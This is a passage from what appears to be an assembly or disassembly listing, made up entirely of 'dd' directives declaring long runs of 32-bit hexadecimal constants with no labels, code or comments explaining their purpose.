		dd 65C3D4B5h, 16EB4986h, 0BD275D29h, 8E32A746h,	0DE87F647h
		dd 435B5C40h, 54ADFC16h, 27ACDAB6h, 0AE7AC0D1h,	0A7BC4BA8h
		dd 0E574ADAEh, 0C3E2A1C8h, 81283714h, 0C6F35D11h, 0B56686ABh
		dd 0E0D75757h, 7330B695h, 0F784373Ah, 5DF6CF63h, 28D277D9h
		dd 0CFB67C17h, 0DF7E4386h, 9821AB8Dh, 0E4B33E85h, 0FB2143C3h
		dd 8E65280Bh, 0FD8C6112h, 4749CC9Fh, 621C98A1h,	3DDF36BAh
		dd 4FF02D12h, 35BF5EB0h, 0C291AC74h, 4DD482FFh,	9B42BFFCh
		dd 0F8AE9095h, 7259CF41h, 472A31A2h, 0BA77DEE7h, 1462C7C6h
		dd 0EDF35C7Fh, 9B692D93h, 3C6F29EEh, 0B1CA9049h, 0F09769E5h
		dd 7188EB72h, 6D6F6D7Ch, 0D3F82F15h, 6BFFE0D9h,	0E4756EB8h
		dd 0A0AB0C70h, 0AFC5E88Bh, 7F676A2h, 1A255651h,	0C18E3944h
		dd 90D93C8h, 1A59E269h,	0B2487A97h, 86B0D8AFh, 0BDB766CAh
		dd 1CFFF96Ch, 4620412h,	6F172B15h, 6A798C37h, 1D60335Ch
		dd 0FD532123h, 313EFD8Ah, 5AA78F47h, 4B0EABC0h,	5861450Eh
		dd 1AFE3073h, 0E6C3602h, 2EFB9273h, 0A818B9B9h,	7EBAA3EAh
		dd 0F07FAF70h, 1E90736Ah, 0D005FFA0h, 0D86CF184h, 0FD1E332h
		dd 0CD67FBB2h, 8471B10Fh, 6EA9EE83h, 0EDE68349h, 0BEC1876Fh
		dd 30076A3Ah, 128B587Dh, 3A31DE63h, 7A0311A4h, 3438E33Ch
		dd 515FB926h, 876C12CDh, 40429B32h, 718D1EC5h, 51B4AD74h
		dd 18637962h, 2290ED02h, 53F33917h, 8BCD6262h, 972BB881h
		dd 1BBC94F3h, 5FFE099Bh, 1C9DEEE7h, 40F035F7h, 5E3FA18Eh
		dd 0AAE8BBC5h, 0FC3A455Ch, 0EA74F518h, 0C7D341E4h, 7BA656B1h
		dd 65677B18h, 3C7E2106h, 1A1EFEB1h, 0BA176F48h,	1448E1EBh
		dd 0E310004Fh, 4A28559Eh, 67518460h, 3C18B00h, 0F2F97CB9h
		dd 1F38DF1Fh, 0F960C9DEh, 0ECBB282Dh, 55C16EC1h, 667270BBh
		dd 0D97852F9h, 0C061B11Eh, 0D063CB23h, 353369A9h, 48C77313h
		dd 0B6DDD67Eh, 6FE34042h, 614E8119h, 455D0403h,	0F124C8BDh
		dd 0BB56FD9Bh, 9B7FE76Bh, 735B4644h, 0FE488768h, 979C45EAh
		dd 994142Dh, 0CA5A13B4h, 42C7B3E7h, 0E9CA287Ch,	0F4CFEC9Ah
		dd 9CED8B92h, 2D2C4979h, 0D79013BAh, 579A273h, 0D592710h
		dd 0BBB7679Dh, 0B92BC153h, 717D42C7h, 0FDA1CF09h, 690923A5h
		dd 208A6AF0h, 0B5BB136h, 931BFC71h, 1BEC884Ch, 0A256BE49h
		dd 0E86CB09h, 0CFF02E87h, 8139A063h, 0A6B6ACAFh, 65B5D291h
		dd 0F9B1DA6Fh, 0F00E380Ah, 0F8EBCB00h, 0EE6079CAh, 362B1CB1h
		dd 7BFECC9Bh, 0BC54643Fh, 95CD0A1Fh, 2327E21Bh,	98629701h
		dd 0C80B1DF9h, 3E32872h, 447B5737h, 0BB99664Ah,	58AD213Fh
		dd 0A5D0A930h, 6AA29D21h, 9EFAE5BBh, 6ACDC871h,	6985EDF7h
		dd 0C8287CA9h, 4435E95Ch, 0CA3F4CA8h, 1B61B931h, 6D66234Dh
		dd 5756F26Ah, 123BBC40h, 6014261Bh, 0EC9B39F5h,	0EDC69C7Fh
		dd 2D4B40E3h, 0FA6FCD73h, 0FBDE932h, 8713BC5Dh,	35550BA6h
		dd 0D8EAD8D7h, 0FDD39C0Fh, 7BF99645h, 0D06C24C7h, 1D3ED682h
		dd 36E5153Ch, 0DEE7C909h, 302B712Ch, 0B14D4A38h, 0DC1D6B31h
		dd 11E463E2h, 0C4412766h, 0D8DBB860h, 4702C45Eh, 7A2F5158h
		dd 0E8724E8Fh, 0AD440CC4h, 7E78C914h, 0DA7E7F34h, 0B4F0D9Fh
		dd 0C64A171Ah, 78C04584h, 0A8790E7Eh, 0BBB5B56h, 70185104h
		dd 2876E62Eh, 439FE9CAh, 0B6C5FFCFh, 7A658565h,	0AD0E741h
		dd 179C601Fh, 0E730BCA5h, 0C164887Ch, 8129DF56h, 12B5F683h
		dd 73765DC3h, 95F59E7Eh, 66FA2EF4h, 0C95ACE47h,	54F34854h
		dd 2FA6A678h, 670950CEh, 4E56502Bh, 9A3A7BB4h, 6FA09A9Ah
		dd 0B87C3152h, 70900AEDh, 0AC5DBE88h, 0BB01AD7Eh, 0DEDB4453h
		dd 8292D946h, 9C1ABBA7h, 0C7EAC8Ch, 7B4F12EDh, 926E8C69h
		dd 8FC3B102h, 5994ED01h, 63EF5574h, 70AE6541h, 2F918AFh
		dd 97C9F2E6h, 0DAFA5156h, 0A0947A47h, 0D12A52DAh, 94175E0h
		dd 7F44D070h, 8C420438h, 7A6EF894h, 0ACEEAE35h,	0A8BF02F0h
		dd 4B12BB42h, 55694840h, 17BFD9Eh, 67BE3A76h, 8E44ACA1h
		dd 0F720A8DBh, 39ADA481h, 8960D7D7h, 32413924h,	0A0D87764h
		dd 7AD4C7A8h, 0DF47587Ch, 9DCE61C8h, 0CFB3DF8Dh, 0C2EC9551h
		dd 1BE85AB5h, 0D32D1D14h, 84A9E67Eh, 119CC9EAh,	37644A0Ah
		dd 0CDEFD9BFh, 58738114h, 4BD8793Fh, 92D2A95Ch,	3FDC04D8h
		dd 968D5DC0h, 0A8635C38h, 0F1B6B468h, 2B0E2755h, 0E1D78A82h
		dd 0F1A75B0Fh, 0C4083A1Ch, 42DE4976h, 0BF783CFDh, 0E31E2C0Eh
		dd 0D171B843h, 149825B4h, 0F12F0F8Fh, 26345056h, 3AF204C7h
		dd 455897A6h, 96E9FFFCh, 0BB6E0208h, 4F92299Bh,	6DB72742h
		dd 0B2BB8733h, 0B6FF9223h, 0B3B742D4h, 4E9CCE80h, 62FE4D55h
		dd 0F351CDFCh, 354887ECh, 0F285FF25h, 328FA020h, 0F57460E8h
		dd 0E6585629h, 63CFED69h, 8C792C41h, 952DF7Eh, 79F4DE83h
		dd 40583FADh, 2D31686Dh, 0EB91A7F9h, 961339CBh,	0BFE3CA4Bh
		dd 3DCAA966h, 0A898E595h, 0AF653228h, 0DCB9AB35h, 309FBE17h
		dd 41B30A24h, 458E455Dh
		dd 0CAD54D0Eh, 7D488EFBh, 63904C85h, 0AD6D6563h, 70C3BE14h
		dd 20D2900Fh, 0ED1AC2C8h, 0E2E28231h, 5F3D60F0h, 0F52876F7h
		dd 36621D06h, 0CF00B367h, 0B40E4172h, 0ED55C375h, 0BB9E4A02h
		dd 6E3D53EDh, 3450ACE2h, 42DBFCF1h, 0D9EDDAC8h,	0CB3EAAA1h
		dd 0F4178CC9h, 0D86F8F4Bh, 0A7BE0AF6h, 0AC4EB783h, 2DDE02F4h
		dd 168E8DD9h, 9EA290EEh, 0AF43F467h, 22F25BFAh,	726FAC7Eh
		dd 0D20F65D7h, 0FC7B205Fh, 0C2AAF6D1h, 25D330Bh, 0CB9044C2h
		dd 6130D470h, 4D26FFF4h, 3168AF88h, 0C82EBDC2h,	38B575B4h
		dd 2F6EBD5Eh, 0CCA75E26h, 44EE6A25h, 590BD9F6h,	0B1C8809Ah
		dd 0EEE9F447h, 0AF3F4760h, 606D301h, 1C433DA7h,	3529220Ah
		dd 57E11900h, 7346EDBFh, 6C9DB988h, 0B666CA42h,	8942ECFCh
		dd 0D8B1AB93h, 49D3B06Ah, 31FAB7EDh, 0B02EF781h, 6446CA5Ah
		dd 0CDE16DDCh, 91EF8954h, 30EC93FAh, 0FFB86705h, 56D9594Ah
		dd 28291E70h, 13FD3522h, 0A5E4FF8h, 14AD4955h, 9077DADFh
		dd 0B37483EBh, 4C8F4E71h, 4B701A3Ah, 0D56032Bh,	0E0E98415h
		dd 50BAACCh, 64A24DFEh,	696C14E7h, 0E78DB494h, 172C374h
		dd 15BCC30Bh, 0C8EF0A7Ch, 87C99D11h, 0B688A151h, 0C2C134FFh
		dd 796F291Fh, 4B7914F1h, 7F079B72h, 96547548h, 0FA5D63FAh
		dd 0DCD5B1E3h, 4A8521h,	752A1DFh, 81D2BBB9h, 31C363FCh
		dd 1161076Ch, 66B4621Dh, 8F12215h, 0F69DF0AFh, 71F950B1h
		dd 0C11624ADh, 90C965CEh, 0E0A8F728h, 0A65E1872h, 79BD1A72h
		dd 0E4B2A8ABh, 0CA93D0B8h, 221E8E47h, 0F08F8B94h, 4206603h
		dd 1449F88Ch, 0C1FBD7ACh, 7259C150h, 68F89D73h,	493DA3C7h
		dd 2119C788h, 570FCF83h, 0E2615E6Eh, 77CFCC8Ah,	3EC55C65h
		dd 0C3014119h, 8D730A78h, 14CC0BDAh, 661B6FD3h,	8789585h
		dd 10F91A9Eh, 43E438Dh,	3DFC363Dh, 3A78431Bh, 276FAEFh
		dd 0D9AF2EF9h, 0B861E9FAh, 0A971FD1Ah, 7D86228Ch, 90A288B0h
		dd 3B0A0A07h, 6374A439h, 57DC9620h, 345F182Eh, 7B3BA1DCh
		dd 567BB210h, 0A7AD4141h, 0F7EE34B2h, 0EFB8698Ch, 6FDEA6DCh
		dd 0B1237657h, 516D26D7h, 5419F7A5h, 4ED586CBh,	806A8D22h
		dd 0AFB754E5h, 2DED773Dh, 3C28DC51h, 1778377Ah,	5C666144h
		dd 5D9389Bh, 0D0D0F5EAh, 0D2777E36h, 0F7ED5CDBh, 49386406h
		dd 85B93849h, 136C90D6h, 0B803D51Bh, 7ACF0AB6h,	9C66D329h
		dd 6A31E754h, 50815236h, 51310A07h, 9283ADE7h, 6E3EE969h
		dd 0BD84A192h, 7C5236FCh, 559E2135h, 936D811Dh,	0BAF1FB53h
		dd 78DD7F91h, 77DA32A9h, 485BB646h, 0A90E65DBh,	671A4179h
		dd 1DE2B052h, 0E950579h, 60301B62h, 1A115552h, 0CA007087h
		dd 0BDBCCB7Eh, 2A7B6FDEh, 0CA034131h, 59F4531Dh, 0F27F617Eh
		dd 81651B90h, 37F3E22h,	7D721DAFh, 5FC61341h, 46E91712h
		dd 364ECF01h, 0D0C8A319h, 0FC4233FEh, 6312C92h,	0ECD6FCF9h
		dd 7A3A84A0h, 4EC4A666h, 12301C0Bh, 0DA90122Dh,	0E0E343B1h
		dd 0C1329E55h, 0FD4E01E7h, 8968D419h, 1BC0E50Ch, 0F750E379h
		dd 0D150D86Ah, 0DF008A60h, 0CFF3FE9h, 283E8Ch, 0EF1A8FFh
		dd 3F733246h, 83AC8C35h, 0AAB7BB20h, 14A60F49h,	0E6AE79E8h
		dd 24EE0BD4h, 41489D85h, 0E5E701A1h, 1122B631h,	0EFDCE0C0h
		dd 3F724D98h, 2AC3352h,	5B72C890h, 0A0267A61h, 410950D8h
		dd 0EEDC7130h, 0E60CFA4Dh, 974CD358h, 0F2ECCB4Dh, 0F982C01Dh
		dd 1999F29Fh, 653EEC9Fh, 91B4273Eh, 725061E7h, 9B0EC6CDh
		dd 8452B164h, 10EECD65h, 7530A7CFh, 9F5D05Ah, 56ADB6A1h
		dd 0F67B687h, 0BE7AC290h, 7435E2Bh, 23B91C34h, 7F89CD6Ah
		dd 0B089E171h, 2CF8AD0Ch, 82E3006Ch, 0C02C66B6h, 45C13743h
		dd 0AB4463E4h, 42E721BBh, 81563EC6h, 73D92D19h,	3C8A50A6h
		dd 0DEBDAA53h, 0AED08EB2h, 5332C5D3h, 80349A14h, 8E30B531h
		dd 9E3EA86Fh, 0A6F4D828h, 4096C93Ch, 0EF50A225h, 71F01BEBh
		dd 9D52167Dh, 0F8D12A75h, 30BBD28Ch, 0BB0C821Bh, 1E93DA1Bh
		dd 22E5595Fh, 99158C3h,	6E014625h, 0B56D2380h, 0B15CE999h
		dd 392518CEh, 0B2E34F74h, 1ED19518h, 0EB582C04h, 0CE42A80Dh
		dd 15FA5C10h, 671F0DE0h, 77BF7D66h, 6DAEE6FCh, 9A0CDC6h
		dd 0C228DEF9h, 600B6C56h, 6032126Dh, 4FC50414h,	13657B57h
		dd 1DF8AD8h, 1154021Eh,	837E8493h, 4E0C5F48h, 0E030938Bh
		dd 0FAC969D5h, 0D1CCE3F0h, 0CC4628F1h, 91D55E25h, 0D4F1F682h
		dd 5B1A09B6h, 0DF76B656h, 84525CE0h, 0CB34D0E7h, 46949F7Ah
		dd 0EB11B6F5h, 345C1BBCh, 50211086h, 0CB6F318Fh, 0AD65C23Ah
		dd 682AFF3Bh, 426A8BA6h, 0D5C3A65h, 90676ED8h, 0C5849FBh
		dd 5BC86B1Ch, 14CB86D0h, 859509Eh, 0CF72849Fh, 0BD5DD373h
		dd 0C5431FA4h, 76515BD0h, 0BDCE72FAh, 552668A9h, 58160300h
		dd 0DE8B0E4Bh, 521F998Fh, 599B6785h, 2E9BD027h,	524BED45h
		dd 8FDB6DB2h, 0C975A381h, 9AF5FD1Bh, 0E52819AFh, 1D3019E6h
		dd 0A188ED92h, 21C4E6BBh, 0E95F01F2h, 0CD7B4011h, 39964964h
		dd 311EC968h, 0F9F9169Ah, 366AB0D9h, 0CA16E1Fh,	7BC28526h
		dd 3D553C73h, 0BBFB104Fh, 5B06E1E1h, 8C6F3B24h,	9B632305h
		dd 0FC7CFFFAh, 6DBD6D57h, 2B326FAAh, 0BA853512h, 0EB4A531Ah
		dd 0ED05A476h, 90005BE3h, 38C6168Eh, 91156A92h,	0C3F85C26h
		dd 0B722FCDBh, 0A970C0CBh, 0A8AB2F0Dh, 6F6B3A65h, 0B316B7EDh
		dd 8C51DC74h, 4C8BC836h, 8631C3D3h, 0AF624A4Fh,	0E8318E73h
		dd 2FD0D127h, 678AEEA7h, 107A68A8h, 4E492102h, 1E1C4083h
		dd 80132645h, 40057D19h, 0F6497A6Dh, 3E759C27h,	920FF0h
		dd 5C48669Ch, 9D12C0C2h, 0E62A74F1h, 584D346Eh,	0EF327351h
		dd 0C1A5ADBDh, 0FC14D10Ah, 6B52B909h, 5611C288h, 8C7FC02Ch
		dd 43EB7104h, 0D0E2BBDAh, 45E1E41Fh, 0CF85F0BEh, 5565B0F7h
		dd 0DA2CE786h, 0BA716558h, 8C207336h, 4864B5E8h, 27D13178h
		dd 43E7B963h, 139654C9h, 0E18DEBEFh, 7687D57Ch,	0DAD90CE3h
		dd 26B4FFDAh, 83771DBAh, 3BF36258h, 7F98519Ah, 45C05A06h
		dd 7A1AB20h, 603CF46Fh,	0C4B1169Bh, 53B2EFC4h, 0E6F698Fh
		dd 0C83D0644h, 59D9E9BFh, 0FFFFE5C5h, 862A0073h, 9D128B1h
		dd 6B80BA7Bh, 2FF04781h, 76033DD0h, 0E5B07677h,	0C7E2A32Ch
		dd 0EA2A9E3Eh, 594A07DBh, 75AEAF8Ch, 0A9A7432Dh, 0BF3CF048h
		dd 4DCB34BEh, 685C6FDFh, 487E9879h, 12CE398Ch, 66E9A014h
		dd 0CB7DF6B7h, 7E0A0BC4h, 91782C98h, 6F140C15h,	436697C0h
		dd 50EDCCAFh, 44C5BB10h, 270480E3h, 0B36830Ch, 0F02E2BB1h
		dd 1A100A66h, 19FE8E29h, 1A5143F3h, 72D9B08Ah, 113DE020h
		dd 0AD9B17AAh, 0DC681271h, 903161B3h, 76E009FDh, 6EAE9A43h
		dd 1B426ECCh, 4EE558B4h, 0F689E6A2h, 7D6E333Dh,	0E6908829h
		dd 0C7365438h, 0B3EB7023h, 0C5DE1EECh, 47B39582h, 6BC62C3Ah
		dd 80083CC8h, 0F839B020h, 0E6E42FF0h, 7BF95657h, 36AE6EC0h
		dd 6FC9261Bh, 4D405EDCh, 5650051Ch, 0AA237C3Bh,	6035FDCBh
		dd 30F56A8Dh, 93BE7A73h, 0DB4F9E70h, 55FE056Ch,	0E1707C74h
		dd 110B6DA3h, 1BCE80F3h, 0BB81D180h, 0BF6B3E8Ch, 62E379F7h
		dd 0F4554CD0h, 0ADCE84DDh, 0E3814D61h, 0BCD6DAA2h, 4FFF2CCCh
		dd 424C49C9h, 955D5685h, 0B61E9DAAh, 22B5E31h, 6624D1EAh
		dd 5AF07CDBh, 0EDE8FEE5h, 9FBC0FA3h, 0D985426Fh, 0D3E8DC7Dh
		dd 4903B2D0h, 64806EBFh, 0D693784Ch, 0ABC9CBD5h, 82FA42A1h
		dd 1004CE6Fh, 0A760C3AEh
		dd 12E5B12Dh, 0A1092392h, 5D9E9D6Eh, 84FF5012h,	6DEC210Dh
		dd 54B59734h, 727DFA1Dh, 0BE04345Dh, 6DE8DB99h,	3435255Dh
		dd 62661AE5h, 3B87D16h,	0EEDD48F1h, 0B879AEB1h,	6A56FD65h
		dd 20D1EF60h, 7BC80B68h, 51D16318h, 4F9B21E4h, 10F81159h
		dd 1D6C9B07h, 0F5FF3F15h, 97BF046Ch, 7F4C11C7h,	55CEC4EDh
		dd 0ABF9BCA4h, 0FA0CF2CEh, 15B50180h, 8EEB6076h, 583C7697h
		dd 0E6577600h, 0B91DCDD2h, 0DD768BDEh, 4AC656B4h, 0A2AE0DDDh
		dd 0CDEFD0C7h, 930427F0h, 0E80440C8h, 612F8F4h,	1972AB17h
		dd 0D3AA1F99h, 0EFDE063Fh, 0EF25C570h, 21BFFAB4h, 0AFC3261Ch
		dd 10AB09A6h, 44B91BFh,	3915A0Eh, 84E4A2EBh, 192598D6h
		dd 4C1FDFB1h, 550FF1ADh, 1048D5F7h, 928A950Eh, 932C27A0h
		dd 49F0E106h, 0E512CAD9h, 0D0956EF4h, 0C28B1BBFh, 29B8E2CAh
		dd 4AECDED7h, 74EAE953h, 0FDCC5081h, 79280AACh,	0DB1CD054h
		dd 0A7FEE888h, 2D2AE3ABh, 88EE6D33h, 88FFFA78h,	0D0C049CDh
		dd 4847FC7Dh, 26A376EDh, 0A635F7A0h, 5D34AF8Ch,	646B33EAh
		dd 189351A7h, 0F97496BDh, 0E1C81F0Ah, 0B0D67453h, 20A4F209h
		dd 7ACE285Fh, 0A818291Fh, 0C75B7DA7h, 0E2CADBD2h, 66E260B3h
		dd 1F2AED26h, 78ADD31Eh, 0D8516A66h, 642151C5h,	0A689E71Eh
		dd 0DE59D805h, 468EAA50h, 0C747B43Bh, 0F2D81F5Ch, 9E67DC5Fh
		dd 2A2316CBh, 0D96CF75Ch, 8149A04Ah, 8B619FAEh,	99EE0513h
		dd 643F9512h, 0D9BF83A2h, 24D4775Ah, 0EA117FD4h, 0A489F85h
		dd 0AC6E9DA7h, 98C963BAh, 0CB01548Eh, 16E00907h, 7C244B3Ch
		dd 1B45E58Ah, 52DA2C9Bh, 0DE405DCDh, 0BC035AB5h, 0DF3FEF21h
		dd 0FAED2503h, 0E313417Ah, 0FEF7B12h, 9AB9F6B5h, 0D2A8928Dh
		dd 0E172E5Eh, 0E26FA1A3h, 478E443Fh, 295F2DE3h,	833FC690h
		dd 405EC421h, 8ACEF732h, 0B4243008h, 0CEA7B604h, 1691D88h
		dd 0FC0EF3D6h, 0CD64BF4h, 9578D586h, 303DF781h,	7AA1A490h
		dd 871B5102h, 0E399D6C9h, 0AA314924h, 0B5F85221h, 2AB9E266h
		dd 0ED272E6Fh, 428F1932h, 0C9F6AD63h, 18DF420Ch, 8CE50FF6h
		dd 32FC1C87h, 2D186F43h, 0DD5D6F58h, 7CED3FA0h,	4397D036h
		dd 0D8F3715Dh, 85F8BE48h, 49B321BEh, 0C9590DA4h, 0B5C50942h
		dd 0D34FEE55h, 0B3BA185Bh, 0E8E16087h, 0A22FF31Ah, 380DBD40h
		dd 3FC50150h, 2CD0BF0Bh, 0F8AD74B4h, 8BCCD2E4h,	0ACF3B4CAh
		dd 11A13BE5h, 0FC6543B1h, 74A359F3h, 0A910F445h, 309C141Dh
		dd 0F1D50560h, 0FCE14751h, 40CF8667h, 0C30A9D73h, 0AA2047EFh
		dd 277EFC12h, 59DF4D60h, 0BDCBD240h, 39679F33h,	12B1E8DBh
		dd 67254C0Dh, 8613C7F6h, 8E9AF1A9h, 2B970FE7h, 415E522Bh
		dd 0A8925B29h, 5C538B6h, 0CF383ECEh, 49F41603h,	0E9EF8549h
		dd 0C9D0642Ah, 0B5034558h, 0D444C683h, 0D65408DDh, 192F790Fh
		dd 1D03D769h, 21F1E2E1h, 12819A87h, 0C306023Ch,	6851BC45h
		dd 836A4042h, 8674B96Bh, 9FF8D8C4h, 0A5064EBCh,	0AB6DF963h
		dd 0A3282346h, 4B31E84Bh, 0EED67EE3h, 52872442h, 9AADE8CAh
		dd 320F6F15h, 0B37FDBD9h, 687E50C5h, 656C1801h,	5B8142ACh
		dd 15B0782Ch, 790D8190h, 0E5B8DFADh, 0D5163823h, 63B1D744h
		dd 68B29F77h, 0AE08499Dh, 4D5F192Eh, 0AAC2286Ah, 368BF41Fh
		dd 0B9EC5Ch, 9B8B3062h,	0F95E50A6h, 7EC4962h, 0DAFA3575h
		dd 0A39AA94Ah, 0CC00D10Dh, 231BC95Dh, 47F2E0E3h, 0FC68AF6Dh
		dd 809F7A50h, 51555DFDh, 0E3F0C127h, 0B9B4B72h,	7B915D1Fh
		dd 8C0A3EE9h, 62F0F5EBh, 65C3CCE5h, 0FA46ED50h,	0C8CF566Ah
		dd 2980D611h, 2F24F8D3h, 75967019h, 182079FFh, 0C495E5ADh
		dd 21DAFD12h, 4DAE0E37h, 2FF1308Ah, 0A638E04h, 6CF62DBEh
		dd 0FFE68FDDh, 2937DAD9h, 0A2E02EE1h, 0B8E42FA5h, 0B32E801h
		dd 70E6B547h, 7D406C22h, 957950DDh, 0B7CAA3BFh,	0C593B18Ah
		dd 601F0Fh, 0C8493ACAh,	0B76087A8h, 0CBA556E7h,	92335CCBh
		dd 0D7BB182Bh, 0DC7EA9A5h, 0FC5E30DBh, 987BCA7h, 0C5442B03h
		dd 90903D42h, 9278B0DAh, 0A3DF2073h, 0CA155E23h, 0CE70F5D4h
		dd 7C0E2ECh, 0D923520Bh, 0B2496665h, 0C9F90E8Bh, 85C19AA6h
		dd 7F2E3CF7h, 0B3AAE0D2h, 910704Fh, 0ED243D4Ch,	70354908h
		dd 0D4E6497Fh, 0C4C7E596h, 0BEEEA6CCh, 7D995D14h, 27191502h
		dd 0B9867D3Ch, 548845B1h, 8BF6A8C3h, 0F59756Bh,	4D7FAB1Ah
		dd 0BE83D0FFh, 4C10EAA4h, 5CFC629Ah, 0BC1E75ECh, 0FFB5EAB5h
		dd 0DBC69BD8h, 0BD2504F8h, 35E8E3CFh, 0E2D6ECC5h, 0C1F4EF28h
		dd 82586627h, 88DF4AC1h, 0BA2E1E9Bh, 82A710FEh,	60457D7Eh
		dd 1CCEF76h, 371142BFh,	971E7C5Bh, 1658B192h, 0B3FDE71Dh
		dd 0C6027D3h, 0C69D4944h, 755C2F03h, 2A2358h, 0B7DB5660h
		dd 0FE0AADBh, 0B30EFF25h, 0E4BDDBACh, 66715E64h, 0EF247A1Dh
		dd 0A4773191h, 5CED2FFh, 49F65CA4h, 5FAF07BFh, 1D40D928h
		dd 1E4E7C59h, 489F470Ch, 12EC79FEh, 0B689188Fh,	36F7436Fh
		dd 1DB49A49h, 0EFBEF340h, 0F5D76E76h, 0BB86BE2h, 46F91634h
		dd 30161299h, 808900E8h, 9C5F880Bh, 815EE1B6h, 6F92E923h
		dd 98D0B03Ch, 0F732BE72h, 3B9CAA87h, 733CC686h,	1B5D8D9Fh
		dd 523D825Dh, 0A49C7BCFh, 0EE9693CEh, 0CB88745Bh, 0EB304D62h
		dd 0DCB639FAh, 0AA380C56h, 0DA98ADB2h, 29EFFB5Fh, 7996B1DDh
		dd 359FC156h, 0F2D60DB9h, 0D0A40600h, 10F3D393h, 164AB271h
		dd 6A52E46h, 0DA5D78C6h, 99711D48h, 0E0C3E9F8h,	0CD3EF3A9h
		dd 0A25CF21Eh, 63118C3h, 0B9E161BCh, 7BF264C6h,	0FA7139D7h
		dd 49B0ADABh, 37F86358h, 6EE78056h, 0BFEE095Bh,	1F7934BDh
		dd 0AA5FE018h, 0E2566C4Fh, 15812D49h, 0E9D34123h, 3A845E6h
		dd 0D85601Eh, 70510932h, 528B9397h, 0F5D43C3h, 7E3EA945h
		dd 5184592Bh, 1255AEC8h, 9D20FA4h, 1FC5EF9Ah, 98B29057h
		dd 0BB49A888h, 2EB3B652h, 940B130Ch, 0A209F56Dh, 0E3FDC873h
		dd 2ECDE6Dh, 0DE79B4D1h, 74E78599h, 0E21EEFCCh,	714853D4h
		dd 784D0FD6h, 22F0236Ah, 0B9CC0C51h, 0E21DB312h, 6DD23250h
		dd 5F907ED6h, 0BAF0257Bh, 385911FDh, 0ED1F07CCh, 0DD0938B5h
		dd 0CEB7D08Fh, 0B4936738h, 1E710007h, 0FE2A6E46h, 0C2F52997h
		dd 0CCB92F60h, 49E5883Bh, 0F49AF70Eh, 6D95CD17h, 35D9EF24h
		dd 0C8B7E621h, 0F5EC04E3h, 0FD3E938Fh, 0CDDA9CB9h, 0B33387DFh
		dd 0EAFA3279h, 7809E5ABh, 8AFABC48h, 3941CEEFh,	2FCDE06Ah
		dd 0CD6C3332h, 360969B9h, 0AC96E46Eh, 61FF1CF5h, 5FD7A06Dh
		dd 1C2A0088h, 0BABAB3F8h, 46FC914Bh, 22D27B7Ch,	7BD6E7A9h
		dd 651B8ACBh, 21B251DEh, 0B513EAA9h, 0DBEB7890h, 0D8F7CEAAh
		dd 973B91E7h, 4E574C11h, 8267969Eh, 0CD529F92h,	22F571B6h
		dd 8A5EEC18h, 59CA3408h, 51792DB3h, 0D1B0A934h,	1BF3908Fh
		dd 64A9D494h, 0AD0D1E07h, 4372B79Eh, 0BC2FBE0Bh, 7CC45512h
		dd 85AFAE32h, 0BD2BE053h, 45215050h, 39B47063h,	6EB5DFA6h
		dd 715C0A8Ch, 713AB3FEh, 0B0A89C3Bh, 0BE4E9844h, 7FAA6FCBh
		dd 1790C0B6h, 526AFCF1h, 78587588h, 0D48410F2h,	0FC72085Dh
		dd 0D8D229C8h, 9E33A224h, 0BADC6B6Fh, 0DCFC2ACh, 0AE9CEB0Eh
		dd 949F1299h, 0C798883Dh, 0BA9FFF88h, 0ABEF675Bh, 63B8C8E5h
		dd 0AF8CD8B4h, 0F7104F18h, 0BC9F36C4h, 8EA89530h, 0D0507C95h
		dd 6038F973h, 4BE52F22h, 0ADE5DED3h, 0F2B38CECh, 0E9C591E0h
		dd 78B7D9A5h, 0DDE341FDh, 0FEAF47E7h, 0C918EAE9h, 0A76DAACDh
		dd 0AEF8B88Ah, 0F2FB4C26h
		dd 0D3A4787h, 0AE204909h, 3600E93h, 0F12E63ABh,	0A77A3F4Eh
		dd 0D1774AEAh, 0F2EF6946h, 8A765138h, 34362182h, 0CC6FC47Bh
		dd 793EDC01h, 8263AE97h, 992C6621h, 550380C9h, 0A2D0A779h
		dd 8858057h, 1F8362BAh,	79A53DC1h, 0E412F170h, 0A4E3BDBCh
		dd 3C67E8B8h, 0BB471B8Dh, 1431F754h, 4520CF34h,	5768C72h
		dd 0FD542170h, 0E01E1108h, 1FE01522h, 0BEB47080h, 0A9C23F4Eh
		dd 2C1B2CFCh, 0DCD0C4C9h, 0FE926696h, 1B6E722Ch, 169D0D1h
		dd 88832036h, 0F6B43AD1h, 9C045E6Eh, 0E9D720A2h, 9475A7B6h
		dd 0BEE9E2D6h, 0F88A2EDh, 880694F1h, 0EB0122D4h, 3CBC6F0Fh
		dd 964D2748h, 22D09AEBh, 0D1A92F01h, 0D5183F09h, 1653ACF5h
		dd 2A804AF4h, 6055C4A8h, 8277F529h, 0FD4C3FC9h,	0E5F200C9h
		dd 8FD50B4Dh, 0F9CC081Bh, 0C19B67D6h, 0CBAA7921h, 0BAD179EDh
		dd 59836AE5h, 240B42BBh, 33787C0Fh, 848121A7h, 0C9FFF52Fh
		dd 0C64E6227h, 66927629h, 0DC8A4701h, 43CC9FB9h, 63DFC602h
		dd 691753EEh, 6A532890h, 47387DF7h, 3C39E63h, 0ACA7393Ch
		dd 42ECD01Fh, 0FDC11F70h, 3573D48Ah, 6C81BC13h,	1A77F246h
		dd 0B8E957F5h, 0CD193DE9h, 8D94A739h, 5D742F51h, 663F9E55h
		dd 0E7AEACE1h, 0F1F4F4AFh, 1EE37359h, 0DDE2F00h, 20D7C972h
		dd 5D139F2Eh, 0FA28C888h, 0A8D2FE78h, 8507E971h, 82B49765h
		dd 3DE292CDh, 2C1F672Fh, 7738D5D1h, 0CA5AE367h,	0F92A3042h
		dd 403CC6ACh, 0E87D92E3h, 944EEA61h, 0A8BBEA9Fh, 0A5DA19C8h
		dd 691133D2h, 0B5CA4BF5h, 93B94103h, 0A0C196B4h, 40A2AF65h
		dd 0EC70E9D1h, 9FDE5526h, 0BDEA3C08h, 0B2C8444h, 5AC9ADCAh
		dd 0DF07C6BDh, 5E424EADh, 0A5981D6Bh, 866F9FAAh, 0F5E0096Fh
		dd 0F84C4C3Ch, 6E589BDBh, 664B4A3Eh, 0DAC17BE6h, 39A9207Ch
		dd 0D8DB44BBh, 0AACC1A33h, 568E7748h, 0DF2ED19h, 5408C793h
		dd 0DB34C251h, 95A429F8h, 7F43E837h, 0CF134DC1h, 0CE0D80ADh
		dd 424DCFD7h, 0DC76C6EAh, 3411542Fh, 2EB96DC9h,	0E8E7C7D6h
		dd 66E6DABBh, 6939A3DCh, 0E4AF7207h, 56BB10B9h,	0BEEDDAA8h
		dd 0B1578519h, 0E034AF96h, 0BE48E299h, 9831F486h, 8F2C751Ah
